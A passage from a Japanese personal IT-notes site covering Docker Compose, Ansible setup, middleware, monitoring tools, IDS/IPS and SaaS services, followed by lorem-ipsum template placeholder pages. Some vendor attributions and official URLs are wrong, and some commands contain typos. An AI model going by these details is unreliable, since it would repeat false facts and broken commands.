        ipv4_address: 172.240.0.2

  gw:
    image: nginx # DockerFile を使用しない場合は Docker-Compose.yml で直接 image を指定できる。
    container_name: sample_web_gw
    ports: # ポートフォワーディング この例なら HostOS への 10080 ポートアクセスをこのコンテナの 80 番ポートにフォワードする。
    - 10080:80
    volumes:
    - ./www:/var/www
    - ./docker/gw/default.conf:/etc/nginx/conf.d/default.conf # conf ファイルの紐付け
    depends_on: # 依存関係の定義 この例なら app container が作成されてから構築の意味
    - app
    networks:
      web_segment:
        ipv4_address: 172.240.0.3

  db:
    build:
      context: .
      dockerfile: docker/mysql/Dockerfile
    volumes:
      - ./docker/mysql/db:/docker-entrypoint-initdb.d
      - db-store:/var/lib/mysql # DB データの永続化。本ファイルの例の場合、末尾の「volumes: db-store:」を使用している。詳しい解説はそこで。
      - ./logs:/var/log/mysql
      - ./docker/mysql/my.cnf:/etc/mysql/conf.d/my.cnf
    ports:
      - "33306:3306" 
    environment: # MySQL の場合初期 DB の作成と root password 及び mysql user account の登録が可能
      MYSQL_ROOT_PASSWORD: password
      MYSQL_USER: administrator
      MYSQL_PASSWORD: password
      MYSQL_DATABASE: default_database
      TZ: "Asia/Tokyo"
    networks:
      web_segment:
        ipv4_address: 172.240.0.4

networks: # docker 仮想ネットワークの作成
  web_segment:
    driver: bridge # driver の選択
    ipam:
      config:
      - subnet: 172.240.0.0/24 # subnet mask の指定。 この例なら、この Docker Project に所属する container は 172.240.0.0~254 の範囲を同一ネットワークとして判定可能となる。

volumes: # Docker MySQL のデータは再起動で消えてしまいます。そのため他の container と同じく volume 定義を皆試すと思いますが、Docker の仕様上エラーになります。Docker の「名前付きボリューム」と呼ばれる領域を構築し、データの永続化を行います。
  db-store:

1.4.2. DockerFile

Docker FileにはLinux で環境を構築する時と同じようなコマンドをいくつか記述したり、環境変数などの定義が可能なファイルです。 内部の実装は通常のサーバ構築(EC2やLinux)とほぼ同じでような記述を行います。

1.4.3. Docker Image

Docker ImageはDocker container の構築を想定し最適化されたcontainerのtemplateファイルです。

1.5. Dockerの使い方(windows(私の場合)入りLinuxによる使用方法)

  1. WSL2をONにしてインストールしたUbuntuにコマンドラインで入る
  2. Docker -vでDocker使用可能か確認
  3. 起動したコマンドラインで使う

2. Dockerによる各技術の実装方法

2.1.

17 - IaCツール基礎

ITインフラをコードで管理する仕組み。Ansible,Terraform(Prumi), Packerなど

17.1 - Ansible基礎

Linuxサーバの構成管理ツールAnsibleに関するメモ

1.1. Ansibleの基礎知識

1.1.1. Ansibleとは

AnsibleはIaCの中ではプロビジョニングと呼ばれるPython製の構成管理ツールの1つであり、 構成の制御、状態記録と監視に特化したシステムを提供する。

一言でいえばシステム構築、ソフトウェアデプロイ、システムメンテナンス等のタスクの自動化ツールと言える。 Ansibleはオンプレミスからクラウドまで対応している。

Iacを使用するメリットは以下の通り。

  • オペレーション工数の削減 => 手動作業をコード化・自動化により、OP工数と納期短縮が可能
  • オペレーション品質の向上 => 属人性が排除されるため、オペレーション品質を均一にすることが期待可能
  • 作業統制強化 => 構築作業が自動化されるため、サーバへの不要なOPやアクセスをなくすこと、内部統制・セキュリティの向上も期待できる

1.1.2. Ansibleの特徴

  • 設定ファイルの可読性が高い(YAML(.yml, .yaml)で記述)
  • エージェントレス(SSHで送信される)
  • マルチレイヤ対応(特定のオペレーションだけではなく) => モジュールというcomoponentを呼び出し実行
  • 冪等性(ある同一の動作や設定を繰り返し行っても一度行った動作は変わらない)の担保

1.2. Ansibleの前提知識

Ansibleの環境はコントロールノードとマネージドノード(ターゲットノード)の2つで構成される。

1.2.1. コントローラノード

Ansibleをインストール対象のマネージドノードを管理するノード。

コントロールノードはUnix系OSのみ対応(Windowsは不可)+Python2.7系以上が必要

1.2.2. マネージドノード(ターゲットノード)

Ansibleにより管理される対象のシステムやホスト。

ターゲットノードはPython2.7系以上が必要

マネージドノードの対象

マネージドノードはLinux,windows, ネットワーク機器, Dockerコンテナなどを対象として利用可能。 これら機器への接続方法例は以下の通り。

接続方法対象システム例
sshLinuxマシン
winrmWindowsマシン
network_cliネットワーク機器
dockerDockerコンテナ

1.3. Ansibleの用語

1.3.1. Inventory

構成管理を行うマネージドノード(ターゲットノード)の接続状況をリスト化して記述したファイル。

デフォルトでは「hosts」というファイルとなっている。

1.3.2. PlayBook

ターゲットノードで実行したいタスク/構成情報をYAML形式で記述するファイル。

機能単位で/rolesディレクトリ以下にyamlファイルを作成する。 一般的には/roles以下に作成したファイルをルートディレクトリ以下のsite.ymlに設定する。

以下がPlayBookの例

- name: motd に "Hello ansible" を追記する
  ansible.builtin.lineinfile:
  path: /etc/motd
  regexp: '^Hello'
  line: 'Hello ansible'
  state: present

おまけ(YAML記法)

YAML記法のルールは以下の通り

  • ---から書き始める(1行目は—)
  • ...で書き終える(最終行は…)
  • コメントアウトは#
  • インデントは半角空白2個(Tab文字使用不可)
  • インデントでデータ構造をネスト表現

シーケンス:リストと呼ばれる

 - test
 - test2
 - test3

マッピング:“キー:値"表現(ハッシュともいう)

tokyo : tokyotower
aichi : nagoyatvtower
osaka : tuutenkaku

1.3.3. Module

ファイル転送/サービスの起動停止をラッピングしたもの。

1.3.4. Plugin

Ansibleのコア機能拡張・追加機能を提供するコンポーネント。

1.4. Ansibleの導入

1.4.1. Ansibleのインストール

インストールする方法は複数あるがパッケージマネージャを使用した方法を記載。

# REDHAT8.0系以降のインストール例
sudo dnf config-manager --set-enabled crb
sudo dnf install epel-release
sudo dnf install ansible
# Debian系
sudo apt update
sudo apt install software-properties-common
sudo add-apt-repository --yes --update ppa:ansible/ansible
sudo apt install ansibl

確認

ansible --vesion

1.4.2. Ansibleのファイル構成

以下にファイル構成の基本例を示す。

ディレクトリディレクトリ2ファイル説明
ansible(親)hostsInventoryファイル
ansible.cfg設定ファイル
site.ymlPlayBookファイル
/roles/role1/tasks/role1.ymlPlayBookファイル

ansible.cfgにはファイルの機能のOn/Offを設定する。

1.4.3. Ansibleの導入から疎通確認/接続設定

Ansibleの導入フロー例を提示する。

なお以下フローではターゲットノードはrootユーザ権限で操作されることを前提としている。

ターゲットノードでユーザ権限で操作する場合以下リンクの対象ホスト側の作業を参考に。

とりあえずAnsibleから鍵認証するための手順

Ansibleのインストール

コントロールノードにAnsibleをインストールします。 インストール方法は上記。

SSHの設定(ターゲットノードがLinuxマシンの場合)

コントロールノード<=>ターゲットノード間で通信する際のSSH設定を行う。 以下をコントロールノード上で行う。

  1. ssh-keygenでsshカギを作成(rsaの場合は id_rsa(秘密鍵), id_rsa.pub(公開鍵)が生成される)
  2. 鍵の保存先(~/.ssh/authorized_keys)に移動しchmod 600 authorized_key(読み書き実行権限付与)を行う
  3. ターゲットノードにscpコマンドで公開鍵をターゲットノードに送信しターゲットノードの/root/.sshに設置
  4. コントロールノードからターゲットノードにssh接続できるか確認(ssh root@[ターゲットノードのIPアドレス])

Inventoryファイル設定

インベントリファイルにターゲットノードを設定する。

YAMLの場合の記述例

all:
  hosts:
    mail1:
      mailserver.com:
  children:
    webservers-target:
      hosts:
        webserver1.com
        webserver2.com
    dbservers-target:
      hosts:
        192.168.10.1
        192.168.10.2

疎通確認(コントロールノード => ターゲットノード)

以下コマンドでターゲットノードにpingを送る。

ansible all -m ping

ping => pong なら疎通確認。

18 - クラウドインフラ基礎

アプリケーション/サービスを外部サービス上で動かすテクノロジ

18.1 - Azure基礎

MicrosoftのIaaSサービスであるAzureに関してメモ

19 - ソフト/ミドルウェアなど

各種サービス/機能を展開するためのミドルウェア/サーバソフト、SaaSサービスなどの紹介

19.1 - サーバソフト/ミドルウェア

各種サービス/機能を展開するためのミドルウェア/サーバソフト

1.1. ミドルウェアとは

1.1.1. ミドルウェアの概要

ミドルウェア(Middleware)とはOSとアプリケーションの間に入って、両者の役割を補佐するソフトウェアのこと。
ミドルウェアを使用することにより、アプリケーションサービスやAPI管理の処理が全てミドルウェアによって行われる。

ミドルウェア

1.1.2. ミドルウェアの分類

ミドルウェアには「Webサーバ」「アプリケーションサーバ」「データベースサーバ」の3種類がある。これらはWebの3層構造と呼ばれ、セキュリティの高さや管理のしやすさ、故障の際の復旧が早いことから、大規模システムで広く使用されている

Webサーバ

Google ChromeなどのWebブラウザから検索した検索結果を視覚的に表示させる役割を担うサーバ。 クライアントから送信されたHTTPリクエストに応答し、HTMLやCSSなど適切なレスポンスを返す。

アプリケーションサーバ(APサーバ)

動的コンテンツや業務処理を行うサーバ。 WebサーバーからのリクエストをもとにJava、PHP、Rubyなどで作成されたアプリケーションを実行し、動的コンテンツを生成する。

データベース管理サーバ(DBサーバ)

データベース管理システム(Data Base Management System/DBMS )が動作しているサーバ。データベースとしてデータを保持し、リクエストに対してデータの出力や追加、削除を行う。

1.2. ミドルウェアの種類

1.2.1. Web

Apache

ApacheはOSSのWebサーバソフトウェア。 高い性能と優れた動作性から人気。

Apacheは小規模なブログやホームページやECサイト(データ量が多くても処理速度が速いため)には向いているが、重要大人数が利用するようなWEBアプリケーションの構築には不向きと言える。

特徴

  • OSに依存せずに動作する
  • 処理速度が速い
  • 機能が豊富

デメリット

  • 複数のデータ処理を実行するとメモリを大量に消費してしまう
  • 多人数が同時に使用するWEBサイト構築には不向き

Nginx

NginxはOSSなWebサーバソフトウェア。 SMTP, POP3, IMAPのリバースプロキシの機能や、ロードバランサ、HTTPキャッシュなどの機能も持つ特徴がある。

特徴

  • 処理速度が高い
  • メモリ消費量を抑えやすい
  • 大量の同時接続処理を素早く処理しやすい

デメリット

  • 動画を多く扱うコンテンツの処理は不得意
  • 機能追加がしずらい

LiteSpeed

TLiteSpeedは無料かつオープンソースなWebサーバソフトウェアであり、Apacheの機能と互換性が多いWebサーバ。

特徴

  • Nginxと同じく大量のリクエストを高速に処理することが可能
  • HTTP/3がサポートされている

デメリット

  • 商用ライセンスのWEBサーバアプリで有償版と無償版がある
  • 日本語の情報が少ない

IIS

IIS(Internet Information Services)はMicrosoftが提供するWindows用無料のWebサーバーソフトのこと。

利用できる言語はASPやNETなどで信頼性が高いといった特徴がある。 またGUIで操作できるのもポイント。

1.2.2. AP

Tomcat

GlassFish

Puma

Unicorn

Gunicorn

1.2.3. DB

MySQL

MariaDB

PostgreSQL

SQLServer

OracleDataBase

1.2.4. Proxy

Squid

OSSのプロキシサーバソフトウェア。 主にWebプロキシとして使用される。

公式サイト: http://www.squid-cache.org/

クライアントからのリクエストのキャッシュを行い、目的のWebサーバへのアクセスを中継する機能がある(proxy)。 また以下の特徴を持つ。

  • キャッシュ機能 … リバースプロキシとして動作し、リクエスト結果のキャッシュが可能なため、頻繁にアクセスされるサイトの表示を高速化可能
  • アクセス解析 … ユーザやIPアドレス、URLパターンなどを基にしてアクセスの許可やブロックを行うことが可能、また特定のウェブサイト等へのアクセス許可/ブロックなどの制御も可能
  • HTTP/HTTPS/FTP等のプロトコルをサポート
  • ログ記録 … アクセスログ/エラーログを生成し、ネットワークの監視等が可能
  • 認証機能 … ユーザごとにアクセス制御/ログ追跡が可能

参考URL

説明URL
【入門】Squid とは?proxy サーバーの構築方法https://hogetech.info/network/web/squid
How To Setup and Configure a Proxy – Squid Proxyhttps://devopscube.com/setup-and-configure-proxy-server/

HAProxy

プロキシサーバの機能を提供するOSSのミドルウェア。負荷分散機能(ロードバランサ)もある。 主にリバースプロキシとして使用され、バックエンドのサーバへのトラフィックを効果的に分散することが可能。

公式サイト: https://www.haproxy.org/

Tinyproxy

軽量で高速な匿名性のあるプロキシサーバソフトウェア。 個人用途や小規模な環境向け。

公式サイト: https://tinyproxy.github.io/

1.2.5. FileServer

Samba

SambaはWindowsネットワークで使用されるSMB/CIFSプロトコルを利用してWindowsでのファイル共有の仕組みを提供するファイルサーバソフトウェアのこと。 Linux系OSをWindowsファイルサーバーとして利用することが出来る。

機能としてはファイル共有のほかに、プリンタ共有、認証機能も提供する。 提供できる機能は以下の通り。

  • ファイルサーバ機能
  • プリントサーバ機能
  • WINSサーバ機能
  • ドメインコントローラ
  • ActiveDirectoryメンバーサーバ
  • Microsoftネットワーククライアント

NextCloud

Seafile

Pydio Cells

1.2.6. DNS

BIND

BINDはDNSサーバソフトウェアであり、多くのLinuxディストリビューションで採用されている。

PowerDNS

1.2.7. MailServer

Postfix

Postfixはsendmailと互換性を持つ新規開発されたMTA。 高速動作と設定が簡単なのが特徴で、デフォルトで使用するMTAとして最も一般的となっている。 Postfixは単一のデーモンではなく複数のプログラムが協調して動作する。

Exim

MTA。

Dovecot

DovecotはPOP3/IMAP4に加えSSL/TLSに対応したMDA。

19.2 - 運用/その他のミドルウェア

監視ツールやCI/CDサーバ、IDS/IPSなどいろいろ。

2.1. 運用ミドルウェア

2.1.1. 運用ミドルウェアの概要

運用ミドルウェアはOS上にありそれ自体が特定の機能に特化しアプリケーションとして機能するソフトウェアのこと。

2.1.2. 運用ミドルウェアの分類

監視

常時システムの障害を監視するミドルウェアがある。

監視する対象は、サーバーやストレージ、ネットワーク機器の稼働状況から、CPUやメモリ、ディスクの使用状況、プロセス監視、ログ監視などがある。

ジョブ運用

システム運用中に発生する定型作業を設定し、それぞれのジョブの順序やスケジュールを設定し、ジョブの自動実行ができるミドルウェアがある。

バックアップ

システムのバックアップを取得することに特化したミドルウェアでは、操作性の向上によりバックアップ対象を集中管理できる。

またバックアップやリストアをGUI操作できたり、運用効率を上げることが可能となる。

高可用性クラスタ

高可用性クラスタとは冗長化されたシステムを障害時に正常のものに切り替えるなどクラスタ管理機能に特化したミドルウェアのこと。

2.2. 運用ミドルウェアの種類

2.2.1. 監視

Zabbix

OSSの監視ソフトウェアでシステム、ネットワーク、サービスの監視とパフォーマンス管理を行うために使用される。Zabbixは、エージェントとエージェントレスの監視オプションを提供し、多くのプラットフォームで動作する。

また、リアルタイムのデータ収集、アラート通知、カスタマイズ可能なダッシュボード、トレンド分析などの機能がある。

公式サイト: https://www.nagios.org/

特徴は以下の通り。

  • エージェントとエージェントレス システムやネットワークの種類に応じて、エージェントまたはエージェントレスの監視が選択できる。
  • 柔軟なアラート トリガーを設定して異常を検出し、様々な通知方法(メール、SMS、スクリプト実行など)でアラートを送信できる。
  • オートディスカバリ 新しいデバイスやサービスの自動検出が可能。
  • グラフィカルなレポート データの可視化とトレンド分析を行える。

Nagios

OSSのネットワーク監視/管理ソフトウェア。 Nagiosはプラグインベースで拡張可能であり、システムの可用性とパフォーマンスを監視し、問題が発生した場合に適切なアラートを送信する。柔軟性とカスタマイズ性が高いのが特徴。

公式サイト: https://www.zabbix.com/jp

  • プラグインベース 機能を拡張するためのプラグインを簡単に統合できる。
  • 複数プロトコル対応 SNMP、HTTP、SMTPなど、さまざまなプロトコルで監視可能。
  • アラート通知 電子メール、SMS、スクリプトなどを使用して異常を通知。
  • カスタマイズ性 カスタムスクリプトおよびダッシュボードの作成が可能。
  • イベントハンドラ 問題の自動修復や応答アクションを設定できる。

Hinemos

Hinemosは日立ソリューションズが開発したOSSの監視ミドルウェア。 特徴は以下の通り。

  • 多機能監視 Hinemosはシステムやネットワーク、サーバー、アプリケーション、データベースなど、さまざまなリソースを監視できる。
  • カスタマイズ可能 ユーザーはHinemosをカスタマイズして自分のニーズに合わせることができ、拡張性が高い。

HP OpenView

HP OpenViewはヒューレット・パッカード(旧名 HP)が開発した統合型のIT管理ソリューション。 現在はMicro Focus Operations Bridgeとして提供されている。 特徴は以下の通り。

  • 統合管理 HP OpenViewはITインフラストラクチャ全体を統合的に管理できるツールで、ネットワーク、サーバー、アプリケーション、ストレージなど、多くの要素を監視および管理できる。
  • イベントコリレーション イベントコリレーション機能により、複数の監視データやアラートを統合し、問題の原因を特定するのに役立つ。
  • 自動化と運用支援 ルールベースのアクションや自動化機能を活用して、運用業務を効率化し、障害対応時間を短縮できる。
  • 大規模な環境に対応 HP OpenViewは大規模なIT環境での使用に適しており、エンタープライズレベルの運用管理を提供する。

2.2.3. 監視/ジョブ運用

JP1

日立製作所が開発した監視およびジョブ運用ミドルウェア。 JP1は伝統的なデータセンター環境で広く使用されている

特徴は以下の通り。

  • 機能豊富 JP1は多くの監視、ジョブ運用、システム管理の機能を提供します。システムの監視、自動化、運用管理などの幅広いタスクが可能。
  • 柔軟性 異なる環境やニーズに合わせてカスタマイズできるため、多くの業種や業務に適用可能。
  • 日本製 日本の企業、NTTデータの子会社である日立製作所が開発・提供しており、日本国内でよく使用されている。

SystemWalker

SystemWalkerはNECが開発および提供している統合的な監視ツールおよびシステム管理ソフトウェアの製品群。大規模なIT環境を管理する組織や企業でよく使われる。 具体的には可用性の向上、トラブルの最小化、セキュリティの強化などを実現するために利用される。

特徴は以下の通り。

  • 自動化と自動対応 システムに問題が発生した場合にSystemwalkerは自動化された対応策を実行できる。
  • セキュリティ監視 セキュリティイベントやインシデントの監視もSystemwalkerがサポートしているため、セキュリティ対策の向上と侵害の早期発見が可能。
  • 拡張性 Systemwalkerは異なるプラットフォームやアプリケーションに対応するための拡張性を備えている。カスタムプラグインや統合機能の追加が可能。
  • クラウド対応 Systemwalkerはクラウドプラットフォーム(AWS、Azureなど)とも統合できるため、ハイブリッド環境の監視もサポートしている。

Senju

日本企業のユーピカが開発した監視およびジョブ運用ミドルウェア。

特徴は以下の通り。

  • クラウドネイティブ Senjuはクラウドネイティブな監視および運用ミドルウェアでクラウド環境に特化している。
  • スケーラビリティ 大規模なクラウドインフラストラクチャに適しており、自動スケーリングやダイナミックなリソース管理をサポートする。
  • アラートと分析 リアルタイムのアラート通知やデータ分析機能を備える。

2.2.4. バックアップ

Archserver

NetBackup

2.2.5. 高可用性クラスタ

CLUSTERPRO

HAモニタ

MSCS

PowerHA

2.3. その他の運用ミドルウェア/ツール

2.3.1. CI/CDツール

Jenkins

CircleCI

2.3.2. IDS/IPS

OSSEC

ホストベースIDS/IPSエンジン。 ホストベースのIDS(HIDS)として使用されることが多いが、ネットワークモードではネットワーク上の侵入や異常を検知することもできる。

Snort

OSSのネットワークベースのIDS/IPS。 カスタマイズ可能なルールセットを使用して、ネットワークトラフィック上の潜在的な攻撃や異常を検知することが可能。

Suricata

高速なネットワークIDS/IPSエンジン。 パケット解析、シグネチャベースの検知、マルウェア検出、異常検知など、幅広いセキュリティ機能がある。

Zeek

ネットワーク監視およびセキュリティモニタリングのためのフレームワーク。 ネットワークトラフィックをリアルタイムに解析し、異常な振る舞いや攻撃を検出できる。

2.3.3. FireWall/Platform

pfSense

pfSenseはFreeBSDのOSベースのオープンソースのファイアウォールおよびルータープラットフォーム

  • パケットフィルタリング、NAT、VPNサポート、IDS/IPS、プロキシサービス、キャッシュなど、多くのネットワークセキュリティ機能を提供
  • Webベースの管理インターフェースを使用して設定と管理

Untangle

UntangleはLinuxのOSベースのオープンソースのネットワークセキュリティプラットフォーム

  • パケットフィルタリング、アプリケーションコントロール、ウェブフィルタリング、IDS/IPS、VPN、ウイルススキャンなど、多くのセキュリティおよびネットワーク機能の提供
  • GUIのWebベースのダッシュボードで設定と監視が可能

OPNsense

OPNsenseはFreeBSDのOSベースのオープンソースのファイアウォールおよびセキュリティプラットフォーム

特徴はpfSenseとほぼ同じ。

2.3.4. SIEMツール/プラットフォーム

ELK Stack (Elasticsearch, Logstash, Kibana)

ELK Stackはログの収集、分析、可視化を行うための強力なツール。 Elasticsearchはデータの検索と分析に使用され、Logstashはログデータの収集と変換に使用され、Kibanaはデータの可視化とダッシュボードの作成に使用される。

Graylog

Graylogはログデータの収集、検索、分析、ダッシュボードの作成に特化したオープンソースプラットフォーム。

Security Onion

Security Onionはセキュリティ監視とログ管理のためのオープンソースプラットフォームで、セキュリティイベントの検出と調査を行える。

Splunk (Splunk Light)

Splunk LightはSplunkの無料バージョン。機能制限あり。

19.3 - SaaSサービス

SaaSの各種役立ちそうなサービス

役に立つ様々なSaaS型のサービスの紹介。

3.1. 運用系サービス

3.1.1. 監視

Mackerel

SaaS型サーバ監視サービス。 無料プランあり。

公式サイト: https://ja.mackerel.io/

New Relic

SaaS型サーバ監視サービス。 無料プランあり。

公式サイト: https://newrelic.com/jp

3.2. セキュリティ系サービス

3.2.1. プロキシ検知

proxycheck.io

クライアントのプロキシ使用の検出をするサービス。

https://proxycheck.io/

IP2Proxy

20 - Core Tasks

What can your user do with your project?

This is a placeholder page that shows you how to use this template site.

Think about your project’s features and use cases. Use these to choose your core tasks. Each granular use case (enable x, configure y) should have a corresponding tasks page or tasks page section. Users should be able to quickly refer to your core tasks when they need to find out how to do one specific thing, rather than having to look for the instructions in a bigger tutorial or example. Think of your tasks pages as a cookbook with different procedures your users can combine to create something more substantial.

You can give each task a page, or you can group related tasks together in a page, such as tasks related to a particular feature. As well as grouping related tasks in single pages, you can also group task pages in nested folders with an index page as an overview, as seen in this example site. Or if you have a small docset like the Docsy User Guide with no Tutorials or Concepts pages, consider adding your feature-specific pages at the top level of your docs rather than in a Tasks section.

Each task should give the user

  • The prerequisites for this task, if any (this can be specified at the top of a multi-task page if they’re the same for all the page’s tasks. “All these tasks assume that you understand….and that you have already….”).
  • What this task accomplishes.
  • Instructions for the task. If it involves editing a file, running a command, or writing code, provide code-formatted example snippets to show the user what to do! If there are multiple steps, provide them as a numbered list.
  • If appropriate, links to related concept, tutorial, or example pages.

20.1 - Bed and Chair Metrics

A short lead description about this content page. It can be bold or italic and can be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

Text can be bold, italic, or strikethrough. Links should be blue with no underlines (unless hovered over).

There should be whitespace between paragraphs. Vape migas chillwave sriracha poutine try-hard distillery. Tattooed shabby chic small batch, pabst art party heirloom letterpress air plant pop-up. Sustainable chia skateboard art party banjo cardigan normcore affogato vexillologist quinoa meggings man bun master cleanse shoreditch readymade. Yuccie prism four dollar toast tbh cardigan iPhone, tumblr listicle live-edge VHS. Pug lyft normcore hot chicken biodiesel, actually keffiyeh thundercats photo booth pour-over twee fam food truck microdosing banh mi. Vice activated charcoal raclette unicorn live-edge post-ironic. Heirloom vexillologist coloring book, beard deep v letterpress echo park humblebrag tilde.

90’s four loko seitan photo booth gochujang freegan tumeric listicle fam ugh humblebrag. Bespoke leggings gastropub, biodiesel brunch pug fashion axe meh swag art party neutra deep v chia. Enamel pin fanny pack knausgaard tofu, artisan cronut hammock meditation occupy master cleanse chartreuse lumbersexual. Kombucha kogi viral truffaut synth distillery single-origin coffee ugh slow-carb marfa selfies. Pitchfork schlitz semiotics fanny pack, ugh artisan vegan vaporware hexagon. Polaroid fixie post-ironic venmo wolf ramps kale chips.

There should be no margin above this first sentence.

Blockquotes should be a lighter gray with a border along the left side in the secondary color.

There should be no margin below this final sentence.

First Header 2

This is a normal paragraph following a header. Knausgaard kale chips snackwave microdosing cronut copper mug swag synth bitters letterpress glossier craft beer. Mumblecore bushwick authentic gochujang vegan chambray meditation jean shorts irony. Viral farm-to-table kale chips, pork belly palo santo distillery activated charcoal aesthetic jianbing air plant woke lomo VHS organic. Tattooed locavore succulents heirloom, small batch sriracha echo park DIY af. Shaman you probably haven’t heard of them copper mug, crucifix green juice vape single-origin coffee brunch actually. Mustache etsy vexillologist raclette authentic fam. Tousled beard humblebrag asymmetrical. I love turkey, I love my job, I love my friends, I love Chardonnay!

Deae legum paulatimque terra, non vos mutata tacet: dic. Vocant docuique me plumas fila quin afuerunt copia haec o neque.

On big screens, paragraphs and headings should not take up the full container width, but we want tables, code blocks and similar to take the full width.

Scenester tumeric pickled, authentic crucifix post-ironic fam freegan VHS pork belly 8-bit yuccie PBR&B. I love this life we live in.

Second Header 2

This is a blockquote following a header. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

Header 3

This is a code block following a header.

Next level leggings before they sold out, PBR&B church-key shaman echo park. Kale chips occupy godard whatever pop-up freegan pork belly selfies. Gastropub Belinda subway tile woke post-ironic seitan. Shabby chic man bun semiotics vape, chia messenger bag plaid cardigan.

Header 4

  • This is an unordered list following a header.
  • This is an unordered list following a header.
  • This is an unordered list following a header.
Header 5
  1. This is an ordered list following a header.
  2. This is an ordered list following a header.
  3. This is an ordered list following a header.
Header 6
WhatFollows
A tableA header
A tableA header
A tableA header

There’s a horizontal rule above and below this.


Here is an unordered list:

  • Liverpool F.C.
  • Chelsea F.C.
  • Manchester United F.C.

And an ordered list:

  1. Michael Brecker
  2. Seamus Blake
  3. Branford Marsalis

And an unordered task list:

  • Create a Hugo theme
  • Add task lists to it
  • Take a vacation

And a “mixed” task list:

  • Pack bags
  • ?
  • Travel!

And a nested list:

  • Jackson 5
    • Michael
    • Tito
    • Jackie
    • Marlon
    • Jermaine
  • TMNT
    • Leonardo
    • Michelangelo
    • Donatello
    • Raphael

Definition lists can be used with Markdown syntax. Definition headers are bold.

Name
Godzilla
Born
1952
Birthplace
Japan
Color
Green

Tables should have bold headings and alternating shaded rows.

ArtistAlbumYear
Michael JacksonThriller1982
PrincePurple Rain1984
Beastie BoysLicense to Ill1986

If a table is too wide, it should scroll horizontally.

ArtistAlbumYearLabelAwardsSongs
Michael JacksonThriller1982Epic RecordsGrammy Award for Album of the Year, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Selling Album, Grammy Award for Best Engineered Album, Non-ClassicalWanna Be Startin’ Somethin’, Baby Be Mine, The Girl Is Mine, Thriller, Beat It, Billie Jean, Human Nature, P.Y.T. (Pretty Young Thing), The Lady in My Life
PrincePurple Rain1984Warner Brothers RecordsGrammy Award for Best Score Soundtrack for Visual Media, American Music Award for Favorite Pop/Rock Album, American Music Award for Favorite Soul/R&B Album, Brit Award for Best Soundtrack/Cast Recording, Grammy Award for Best Rock Performance by a Duo or Group with VocalLet’s Go Crazy, Take Me With U, The Beautiful Ones, Computer Blue, Darling Nikki, When Doves Cry, I Would Die 4 U, Baby I’m a Star, Purple Rain
Beastie BoysLicense to Ill1986Mercury RecordsnoawardsbutthistablecelliswideRhymin & Stealin, The New Style, She’s Crafty, Posse in Effect, Slow Ride, Girls, (You Gotta) Fight for Your Right, No Sleep Till Brooklyn, Paul Revere, Hold It Now, Hit It, Brass Monkey, Slow and Low, Time to Get Ill

Code snippets like var foo = "bar"; can be shown inline.

Also, this should vertically align with this and this.

Code can also be shown in a block element.

foo := "bar";
bar := "foo";

Code can also use syntax highlighting.

func main() {
  input := `var foo = "bar";`

  lexer := lexers.Get("javascript")
  iterator, _ := lexer.Tokenise(nil, input)
  style := styles.Get("github")
  formatter := html.New(html.WithLineNumbers())

  var buff bytes.Buffer
  formatter.Format(&buff, style, iterator)

  fmt.Println(buff.String())
}
Long, single-line code blocks should not wrap. They should horizontally scroll if they are too long. This line should be long enough to demonstrate this.

Inline code inside table cells should still be distinguishable.

LanguageCode
Javascriptvar foo = "bar";
Rubyfoo = "bar"{

Small images should be shown at their actual size.

Large images should always scale down and fit in the content container.

The photo above of the Spruce Picea abies shoot with foliage buds: Bjørn Erik Pedersen, CC-BY-SA.

Components

Alerts

Another Heading

Add some sections here to see how the ToC looks like. Bacon ipsum dolor sit amet t-bone doner shank drumstick, pork belly porchetta chuck sausage brisket ham hock rump pig. Chuck kielbasa leberkas, pork bresaola ham hock filet mignon cow shoulder short ribs biltong.

This Document

Inguina genus: Anaphen post: lingua violente voce suae meus aetate diversi. Orbis unam nec flammaeque status deam Silenum erat et a ferrea. Excitus rigidum ait: vestro et Herculis convicia: nitidae deseruit coniuge Proteaque adiciam eripitur? Sitim noceat signa probat quidem. Sua longis fugatis quidem genae.

Pixel Count

Tilde photo booth wayfarers cliche lomo intelligentsia man braid kombucha vaporware farm-to-table mixtape portland. PBR&B pickled cornhole ugh try-hard ethical subway tile. Fixie paleo intelligentsia pabst. Ennui waistcoat vinyl gochujang. Poutine salvia authentic affogato, chambray lumbersexual shabby chic.

Contact Info

Plaid hell of cred microdosing, succulents tilde pour-over. Offal shabby chic 3 wolf moon blue bottle raw denim normcore poutine pork belly.

Stumptown PBR&B keytar plaid street art, forage XOXO pitchfork selvage affogato green juice listicle pickled everyday carry hashtag. Organic sustainable letterpress sartorial scenester intelligentsia swag bushwick. Put a bird on it stumptown neutra locavore. IPhone typewriter messenger bag narwhal. Ennui cold-pressed seitan flannel keytar, single-origin coffee adaptogen occupy yuccie williamsburg chillwave shoreditch forage waistcoat.

This is the final element on the page and there should be no margin below this.

20.2 - Porridge Assessment

A short lead description about this content page. It can be bold or italic and can be split over multiple paragraphs.

This is a placeholder page. Replace it with your own content.

Text can be bold, italic, or strikethrough. Links should be blue with no underlines (unless hovered over).

There should be whitespace between paragraphs. Vape migas chillwave sriracha poutine try-hard distillery. Tattooed shabby chic small batch, pabst art party heirloom letterpress air plant pop-up. Sustainable chia skateboard art party banjo cardigan normcore affogato vexillologist quinoa meggings man bun master cleanse shoreditch readymade. Yuccie prism four dollar toast tbh cardigan iPhone, tumblr listicle live-edge VHS. Pug lyft normcore hot chicken biodiesel, actually keffiyeh thundercats photo booth pour-over twee fam food truck microdosing banh mi. Vice activated charcoal raclette unicorn live-edge post-ironic. Heirloom vexillologist coloring book, beard deep v letterpress echo park humblebrag tilde.

90’s four loko seitan photo booth gochujang freegan tumeric listicle fam ugh humblebrag. Bespoke leggings gastropub, biodiesel brunch pug fashion axe meh swag art party neutra deep v chia. Enamel pin fanny pack knausgaard tofu, artisan cronut hammock meditation occupy master cleanse chartreuse lumbersexual. Kombucha kogi viral truffaut synth distillery single-origin coffee ugh slow-carb marfa selfies. Pitchfork schlitz semiotics fanny pack, ugh artisan vegan vaporware hexagon. Polaroid fixie post-ironic venmo wolf ramps kale chips.

There should be no margin above this first sentence.

Blockquotes should be a lighter gray with a border along the left side in the secondary color.

There should be no margin below this final sentence.

First Header 2

